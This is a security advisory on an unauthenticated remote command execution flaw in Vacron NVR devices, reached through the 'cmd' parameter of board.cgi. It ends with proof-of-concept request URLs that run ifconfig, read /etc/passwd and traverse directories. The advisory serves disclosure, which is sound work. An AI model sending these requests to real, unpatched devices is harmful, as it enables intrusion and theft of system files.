SSD Advisory – Vacron NVR Remote Command Execution

blogs.securiteam.com/index.php/archives/3445

SSD / Maor Schwartz October 8, 2017

Vulnerability Summary
The following advisory describes a remote command execution vulnerability.

VACRON Specializing in “various types of mobile monitoring, CCTV monitoring system, IP remote image monitoring system monitoring and other related production, and can accept ODM, OEM and other customized orders, the main products: driving recorder, CCTV analog monitoring system, CMS, IP Cam, etc.”

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
We tried to contact Vacron since September 5 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for the vulnerability.

Vulnerability details
User controlled input is not sufficiently sanitized when passed to *board.cgi*.

board.cgi receives a parameter as input. When we pass *cmd* as a parameter input, we will execute arbitrary commands.

```
function checkPreUpgrade() {
    var msg = $('#js-upgrade-msg'),
        debug = $('#js-upgrade-debug'),
        count = 0;
    $.get('board.cgi?active=upgrade_status&t=' + $.now(), function(resp) {
        debug.append('check pre-upgrade: ' + resp);

        if (resp.match(/0_020/)) {
            var s = $.i18n('tr-upgrade-wait');
```

Proof of Concept

```
1 http://IP/board.cgi?cmd=ifconfig
2 http://IP/board.cgi?cmd=cat+/etc/passwd
3 http:/IP/board.cgi?cmd=ls+../../../
```